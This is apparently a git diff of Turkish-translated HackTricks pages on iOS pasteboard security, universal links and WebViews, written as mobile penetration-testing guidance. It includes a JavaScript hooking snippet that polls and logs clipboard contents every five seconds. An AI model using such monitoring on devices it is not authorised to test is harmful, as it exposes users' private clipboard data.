* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,56 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
iOS cihazlarda uygulamalar arasında veri paylaşımı, iki ana kategoriye ayrılan [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizması ile kolaylaştırılmaktadır:
|
||||
|
||||
iOS cihazlarında uygulamalar arasında ve içinde veri paylaşımı, [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizması aracılığıyla sağlanır ve iki temel kategoriye ayrılır:
|
||||
- **Sistem genelinde genel yapıştırıcı**: Bu, **herhangi bir uygulama** ile veri paylaşmak için kullanılır ve cihaz yeniden başlatıldığında ve uygulama kaldırıldığında verileri korumak için tasarlanmıştır; bu özellik iOS 10'dan beri mevcuttur.
|
||||
- **Özel / İsimlendirilmiş yapıştırıcılar**: Bunlar, **bir uygulama içinde veya aynı takım kimliğini paylaşan başka bir uygulama ile** veri paylaşmak için özel olarak tasarlanmıştır ve oluşturuldukları uygulama süresinin ötesinde kalıcı olmaları amaçlanmamıştır; bu, iOS 10 ile getirilen değişiklikleri takip eder.
|
||||
|
||||
- **Sistem genel panosu**: Bu, verilerin **herhangi bir uygulama ile paylaşılması** için kullanılır ve iOS 10'dan beri mevcut olan verilerin cihaz yeniden başlatmaları ve uygulama kaldırmaları boyunca kalıcı olmasını sağlar.
|
||||
- **Özel / Adlandırılmış panolar**: Bunlar, **bir uygulama içinde veya aynı takım kimliğini paylaşan başka bir uygulama ile veri paylaşımı** için özeldir ve oluşturan uygulama sürecinin yaşam süresinden öteye geçmeyecek şekilde tasarlanmıştır, iOS 10'da yapılan değişiklikleri takip eder.
|
||||
**Güvenlik hususları**, yapıştırıcıların kullanılmasında önemli bir rol oynamaktadır. Örneğin:
|
||||
- Kullanıcıların **yapıştırıcıya** erişim için uygulama izinlerini yönetebileceği bir mekanizma yoktur.
|
||||
- Yetkisiz arka plan izleme riskini azaltmak için erişim, uygulama ön planda olduğunda kısıtlanmıştır (iOS 9'dan beri).
|
||||
- Gizlilik endişeleri nedeniyle kalıcı isimlendirilmiş yapıştırıcıların kullanımı, paylaşılan konteynerler lehine teşvik edilmemektedir.
|
||||
- iOS 10 ile tanıtılan **Evrensel Panoya** özelliği, içeriğin genel yapıştırıcı aracılığıyla cihazlar arasında paylaşılmasına olanak tanır ve geliştiricilerin veri süresini ayarlayıp otomatik içerik aktarımını devre dışı bırakmalarına olanak tanır.
|
||||
|
||||
**Güvenlik düşünceleri**, panoları kullanırken önemli bir rol oynar. Örneğin:
|
||||
- Kullanıcıların **panoya erişim izinlerini yönetmek** için bir mekanizma yoktur.
|
||||
- Panonun izinsiz arka planda izlenmesi riskini azaltmak için erişim, uygulama önde iken kısıtlanmıştır (iOS 9'dan beri).
|
||||
- Gizlilik endişeleri nedeniyle kalıcı adlandırılmış panoların kullanımı yerine paylaşılan konteynerlerin tercih edilir.
|
||||
- iOS 10 ile tanıtılan **Evrensel Pano** özelliği, içeriğin genel panoyoluyla cihazlar arasında paylaşılmasına izin verir ve geliştiriciler tarafından veri süresi ve otomatik içerik transferini devre dışı bırakmak için yönetilebilir.
|
||||
|
||||
**Hassas bilgilerin yanlışlıkla** genel panoya kaydedilmediğinden emin olmak önemlidir. Ayrıca, uygulamaların genel panodaki verilerin yanlış amaçlar için kullanılmasını önlemek için tasarlanması ve geliştiricilerin hassas bilgilerin panoya kopyalanmasını önlemek için önlemler alması teşvik edilir.
|
||||
**Hassas bilgilerin** yanlışlıkla genel yapıştırıcıda saklanmadığından emin olmak çok önemlidir. Ayrıca, uygulamalar, genel yapıştırıcı verilerinin istenmeyen eylemler için kötüye kullanılmasını önleyecek şekilde tasarlanmalıdır ve geliştiricilerin hassas bilgilerin panoya kopyalanmasını önlemek için önlemler alması teşvik edilmektedir.
|
||||
|
||||
### Statik Analiz
|
||||
|
||||
Statik analiz için kaynak kodu veya ikili dosyada arama yapın:
|
||||
- **Sistem genel panosu** kullanımını belirlemek için `generalPasteboard`'u arayın.
|
||||
- **Özel panolar** oluşturmak için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`'i arayın. Kalıcılığın etkin olup olmadığını doğrulayın, ancak bu yöntem artık kullanımdan kaldırılmıştır.
|
||||
Statik analiz için, kaynak kodu veya ikili dosyada şunları arayın:
|
||||
- **systemwide general pasteboard** kullanımını belirlemek için `generalPasteboard`.
|
||||
- **özel yapıştırıcılar** oluşturmak için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`. Kalıcılığın etkin olup olmadığını doğrulayın, ancak bu artık önerilmemektedir.
|
||||
|
||||
### Dinamik Analiz
|
||||
|
||||
Dinamik analiz, belirli yöntemleri kancalama veya izleme işlemi içerir:
|
||||
- Sistem genel kullanım için `generalPasteboard`'u izleyin.
|
||||
- Özel uygulamalar için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`'i izleyin.
|
||||
- Kalıcılık ayarlarını kontrol etmek için kullanılan artık kullanılmayan `setPersistent:` yöntem çağrılarını izleyin.
|
||||
Dinamik analiz, belirli yöntemleri izlemek veya takip etmekle ilgilidir:
|
||||
- Sistem genelindeki kullanımı izlemek için `generalPasteboard`'ı izleyin.
|
||||
- Özel uygulamalar için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`'ı takip edin.
|
||||
- Kalıcılık ayarlarını kontrol etmek için önerilmeyen `setPersistent:` yöntem çağrılarını gözlemleyin.
|
||||
|
||||
İzlenmesi gereken temel detaylar şunlardır:
|
||||
- **Pano adları** ve **içerikleri** (örneğin, dizeler, URL'ler, resimler kontrol edilir).
|
||||
- Standart ve özel veri türü kontrollerinden yararlanarak mevcut **öğe sayısı** ve **veri türleri**.
|
||||
- `setItems:options:` yöntemini inceleyerek **süre ve yalnızca yerel seçeneklerini** kontrol edin.
|
||||
İzlenmesi gereken ana detaylar şunlardır:
|
||||
- **Yapıştırıcı adları** ve **içerikler** (örneğin, dizeler, URL'ler, resimler kontrol edilerek).
|
||||
- Mevcut **öğe sayısı** ve **veri türleri**, standart ve özel veri türü kontrolleri kullanılarak.
|
||||
- `setItems:options:` yöntemini inceleyerek **son kullanma ve yerel seçenekler**.
|
||||
|
||||
Bir izleme aracı kullanımı örneği **objection'ın pano izleyicisi**dir, bu araç genelPasteboard'u her 5 saniyede bir değişiklikleri izler ve yeni verileri çıktılar.
|
||||
Bir izleme aracı kullanma örneği, genel yapıştırıcıyı her 5 saniyede bir değişiklikler için sorgulayan ve yeni verileri çıktılayan **objection'ın yapıştırıcı izleyicisidir**.
|
||||
|
||||
İşte, objection'ın yaklaşımından esinlenerek her 5 saniyede bir panodan değişiklikleri okuyan ve kaydeden basit bir JavaScript betiği örneği:
|
||||
İşte her 5 saniyede bir yapıştırıcıdan değişiklikleri okumak ve kaydetmek için objection'ın yaklaşımından ilham alan basit bir JavaScript betiği örneği:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -85,16 +85,17 @@ console.log(items);
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman oluncaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) tanışın
|
||||
* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# iOS Universal Links
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Giriş
|
||||
## Introduction
|
||||
|
||||
Universal linkler, kullanıcılara içeriği doğrudan uygulamada açarak Safari yönlendirmesi gereksinimini atlayarak **dikişsiz bir yönlendirme** deneyimi sunar. Bu linkler **benzersiz** ve güvenlidir, çünkü diğer uygulamalar tarafından talep edilemezler. Bu, `apple-app-site-association` JSON dosyasının web sitesinin kök dizininde barındırılmasıyla sağlanır, web sitesi ile uygulama arasında doğrulanabilir bir bağlantı kurulur. Uygulama yüklü değilse, Safari devralacak ve kullanıcıyı web sayfasına yönlendirecek, uygulamanın varlığını sürdürecektir.
|
||||
Evrensel bağlantılar, kullanıcılar için **kesintisiz bir yönlendirme** deneyimi sunarak içeriği doğrudan uygulamada açar ve Safari yönlendirmesi gereksinimini ortadan kaldırır. Bu bağlantılar **eşsiz** ve güvenlidir, çünkü diğer uygulamalar tarafından talep edilemezler. Bu, web sitesinin kök dizininde bir `apple-app-site-association` JSON dosyası barındırılarak sağlanır ve web sitesi ile uygulama arasında doğrulanabilir bir bağlantı kurulur. Uygulama yüklü değilse, Safari devralır ve kullanıcıyı web sayfasına yönlendirir, uygulamanın varlığını korur.
|
||||
|
||||
Sızma testçileri için, `apple-app-site-association` dosyası özellikle ilgi çekicidir çünkü **duyarlı yolları** ortaya çıkarabilir, muhtemelen yayınlanmamış özelliklerle ilgili olanları içerebilir.
|
||||
Penetrasyon test uzmanları için `apple-app-site-association` dosyası özellikle ilgi çekicidir çünkü **hassas yolları** açığa çıkarabilir, bu yollar henüz yayımlanmamış özelliklerle ilgili olabilir.
|
||||
|
||||
### **İlişkilendirilmiş Alanlar Yetkisi'nin Analizi**
|
||||
### **İlişkili Alanlar Yetkisini Analiz Etme**
|
||||
|
||||
Geliştiriciler, Universal Linkleri Xcode'un Yetenekler sekmesinde **İlişkilendirilmiş Alanlar**'ı yapılandırarak veya `.entitlements` dosyasını inceleyerek etkinleştirirler. Her alan `applinks:` ile başlar. Örneğin, Telegram'ın yapılandırması aşağıdaki gibi görünebilir:
|
||||
Geliştiriciler, Xcode'un Yetenekler sekmesinde **İlişkili Alanlar**'ı yapılandırarak veya `.entitlements` dosyasını inceleyerek Evrensel Bağlantıları etkinleştirir. Her alan `applinks:` ile başlar. Örneğin, Telegram'ın yapılandırması şu şekilde görünebilir:
|
||||
```xml
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
|
@ -32,21 +33,21 @@ Geliştiriciler, Universal Linkleri Xcode'un Yetenekler sekmesinde **İlişkilen
|
|||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Daha kapsamlı bilgiler için [arşivlenmiş Apple Geliştirici Belgelerine](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2) başvurun.
|
||||
Daha kapsamlı bilgiler için [arşivlenmiş Apple Geliştirici Dokümantasyonu'na](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2) başvurun.
|
||||
|
||||
Derlenmiş bir uygulama ile çalışılıyorsa, ayrıntılar [bu kılavuzda](extracting-entitlements-from-compiled-application.md) belirtildiği gibi çıkarılabilir.
|
||||
Derlenmiş bir uygulama ile çalışıyorsanız, haklar [bu kılavuzda](extracting-entitlements-from-compiled-application.md) açıklandığı gibi çıkarılabilir.
|
||||
|
||||
### **Apple Uygulama Sitesi İlişkilendirme Dosyasını Almak**
|
||||
### **Apple Uygulama Site İlişkilendirme Dosyasını Alma**
|
||||
|
||||
`apple-app-site-association` dosyası, ayrıcalıklarda belirtilen alanları kullanarak sunucudan alınmalıdır. Dosyanın doğrudan `https://<domain>/apple-app-site-association` adresinden erişilebilir olduğundan emin olun. [Apple Uygulama Sitesi İlişkilendirme (AASA) Doğrulayıcı](https://branch.io/resources/aasa-validator/) gibi araçlar bu süreçte yardımcı olabilir.
|
||||
`apple-app-site-association` dosyası, haklarda belirtilen alan adları kullanılarak sunucudan alınmalıdır. Dosyanın `https://<domain>/apple-app-site-association` adresinden HTTPS üzerinden erişilebilir olduğundan emin olun. [Apple Uygulama Site İlişkilendirme (AASA) Doğrulayıcı](https://branch.io/resources/aasa-validator/) gibi araçlar bu süreçte yardımcı olabilir.
|
||||
|
||||
### **Uygulamada Evrensel Bağlantıları İşleme**
|
||||
### **Uygulamada Evrensel Bağlantıları Yönetme**
|
||||
|
||||
Uygulama, evrensel bağlantıları doğru bir şekilde işlemek için belirli yöntemleri uygulamalıdır. Aranması gereken temel yöntem [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application) yöntemidir. İşlenen URL'lerin şemasının HTTP veya HTTPS olması önemlidir, diğerleri desteklenmeyecektir.
|
||||
Uygulama, evrensel bağlantıları doğru bir şekilde yönetmek için belirli yöntemleri uygulamalıdır. Bakılması gereken ana yöntem [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application) yöntemidir. İşlenen URL'lerin şemasının HTTP veya HTTPS olması kritik öneme sahiptir, diğerleri desteklenmeyecektir.
|
||||
|
||||
#### **Veri İşleyici Yönteminin Doğrulanması**
|
||||
#### **Veri İşleyici Yöntemini Doğrulama**
|
||||
|
||||
Evrensel bir bağlantı bir uygulamayı açtığında, bir `NSUserActivity` nesnesi URL ile birlikte uygulamaya iletilir. Bu URL'yi işlemeden önce, güvenlik risklerini önlemek için doğrulamak ve temizlemek önemlidir. İşte bu süreci gösteren Swift'te bir örnek:
|
||||
Bir evrensel bağlantı bir uygulamayı açtığında, uygulamaya URL ile birlikte bir `NSUserActivity` nesnesi iletilir. Bu URL'yi işlemeye başlamadan önce, güvenlik risklerini önlemek için doğrulamak ve temizlemek önemlidir. İşte süreci gösteren bir Swift örneği:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
|
@ -58,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
|
|||
return true
|
||||
}
|
||||
```
|
||||
URL'ler özellikle parametreler içeriyorsa dikkatlice ayrıştırılmalı ve doğrulanmalıdır, böylece potansiyel sahtecilik veya hatalı verilere karşı koruma sağlanır. Bu amaçla `NSURLComponents` API'si kullanışlıdır, aşağıda gösterildiği gibi:
|
||||
URLs dikkatlice ayrıştırılmalı ve doğrulanmalıdır, özellikle parametreler içeriyorsa, potansiyel sahtecilik veya hatalı verilerden korunmak için. Aşağıda gösterildiği gibi, `NSURLComponents` API'si bu amaç için faydalıdır:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
|
@ -84,28 +85,26 @@ return false
|
|||
}
|
||||
}
|
||||
```
|
||||
**Dikkatli yapılandırma ve doğrulama** sayesinde geliştiriciler, evrensel bağlantıların kullanıcı deneyimini artırırken güvenlik ve gizlilik standartlarını koruyabileceğinden emin olabilirler.
|
||||
|
||||
**Titiz yapılandırma ve doğrulama** sayesinde, geliştiriciler evrensel bağlantıların kullanıcı deneyimini artırmasını sağlarken güvenlik ve gizlilik standartlarını koruyabilirler.
|
||||
|
||||
## Araçlar
|
||||
* [GetUniversal.link](https://getuniversal.link/): Uygulamanızın Evrensel Bağlantıları ve AASA dosyasının test edilmesini ve yönetilmesini kolaylaştırmaya yardımcı olur. AASA dosyasının bütünlüğünü doğrulamak için alan adınızı girin veya özel panoyu kullanarak bağlantı davranışını kolayca test etmek için özel panoyu kullanın. Bu araç ayrıca Apple'ın bir sonraki AASA dosyanızı ne zaman dizine ekleyeceğinizi belirlemenize yardımcı olur.
|
||||
* [GetUniversal.link](https://getuniversal.link/): Uygulamanızın Evrensel Bağlantılarını ve AASA dosyasını test etmeyi ve yönetmeyi basitleştirmeye yardımcı olur. AASA dosyası bütünlüğünü doğrulamak için yalnızca alan adınızı girin veya bağlantı davranışını kolayca test etmek için özel kontrol panelini kullanın. Bu araç ayrıca Apple'ın AASA dosyanızı bir sonraki ne zaman dizine alacağını belirlemenize yardımcı olur.
|
||||
|
||||
## Referanslar
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# iOS WebViews
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Bu sayfanın kodu [buradan](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) alınmıştır. Daha fazla ayrıntı için sayfayı kontrol edin.
|
||||
Bu sayfanın kodu [buradan](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) çıkarılmıştır. Daha fazla detay için sayfayı kontrol edin.
|
||||
|
||||
|
||||
## WebViews Türleri
|
||||
## WebView türleri
|
||||
|
||||
WebViews, uygulamalar içinde etkileşimli web içeriği görüntülemek için kullanılır. iOS uygulamaları için farklı işlevsellikler ve güvenlik özellikleri sunan çeşitli WebViews türleri bulunmaktadır. İşte kısaca bir özet:
|
||||
WebView'lar, uygulamalar içinde etkileşimli web içeriği görüntülemek için kullanılır. Farklı WebView türleri, iOS uygulamaları için farklı işlevsellikler ve güvenlik özellikleri sunar. İşte kısa bir genel bakış:
|
||||
|
||||
